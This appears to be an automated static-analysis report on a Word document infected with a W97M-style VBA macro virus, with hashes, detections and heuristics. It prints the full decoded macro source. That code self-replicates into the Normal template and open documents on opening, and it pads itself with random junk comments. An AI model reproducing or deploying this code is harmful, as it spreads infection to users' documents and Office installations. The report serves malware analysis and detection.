Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00335f4065973530…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-12-30 18:03:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: e92a1a50d4b3a52bfea8cc955aced164 SHA-1: 88e61b659e61fed51424c1559a8192b7c7d4a50a SHA-256: 00335f4065973530fe0b3a573280ba9da2d068e5351bc22f72b0069a766275a4
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The macro code explicitly attempts to replicate itself to the Normal template and the active document, indicating a self-replication or persistence mechanism. This behavior is indicative of a macro-based malware dropper or worm.

Heuristics 4

  • ClamAV: Doc.Trojan.MVG-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MVG-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    infnt.DeleteLines 1, infnt.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2362 bytes
SHA-256: 3550a60e0ef3dad191be6fa2374f3ae3d2bfaafb2d482dc7e219613d2c89a998
Detection
ClamAV: Doc.Trojan.MVG-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Private Sub Document_open()
Const jedan = 1, nula = 2 * 0, verzija = "9"
If Application.Version = verzija & "." & nula Then
GoTo pocni
aha:
GoTo startaj
startaj:
GoTo aha
pocni:
Set vx = ThisDocument.VBProject: Set ma = vx.VBComponents(jedan):
ve = ma.CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(jedan).CodeModule.CountOfLines)
If nt <> ve Then
Set infnt = NormalTemplate.VBProject.VBComponents(jedan).CodeModule
infnt.DeleteLines 1, infnt.CountOfLines
infnt.AddFromString ve
End If
Set we = NormalTemplate.VBProject: Set ku = we.VBComponents(jedan):
nt = ku.CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If ad <> ve Then
Set INFAD = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
INFAD.DeleteLines 1, INFAD.CountOfLines
INFAD.AddFromString ve
Set vo = ActiveDocument.VBProject: Set gr = vo.VBComponents(jedan):
ad = gr.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(jedan).CodeModule.CountOfLines)
End If
End If
Dim KSJDHFE, PODFGHN, ZXCASDF, PIOUWER, A, B, QWPEOIS
adf = ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
For ah = 1 To adf
dg = Mid(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(ah, 1), 1, 1)
If dg = "'" Then ThisDocument.VBProject.VBComponents(1).CodeModule.DeleteLines ah, 1
Next ah
      For KSJDHFE = 10 To 1 Step -2
            For PODFGHN = 0 To 2
            ZXCASDF = Chr(Rnd * 105 + 1) & Asc(Chr(Rnd * 10 + 1))
            QWPEOIS = Hex(Rnd * 120 + 4)
            PIOUWER = ZXCASDF & PIOUWER & QWPEOIS
            Next PODFGHN
      Next KSJDHFE
Set AdAcTiV = ActiveDocument.VBProject.VBComponents(1).CodeModule
For c = 1 To AdAcTiV.CountOfLines + 38 Step 2
AdAcTiV.insertlines c + 1, "'" & PIOUWER
Next c
'WM2K.NoFrx.c by e[ax]
'RCJ v1.0 (Random Comment Junker) by e[ax]
'Pozdravi ovom prilikom upuceni:
'k04x, rudeboy, Eman, t[r]ax, bigfooot i ostaloj bagri na BIHnet.ORG-u
'Greetz goes to all ppl on #virus. Tnx KD, Jackie, VicES...
End Sub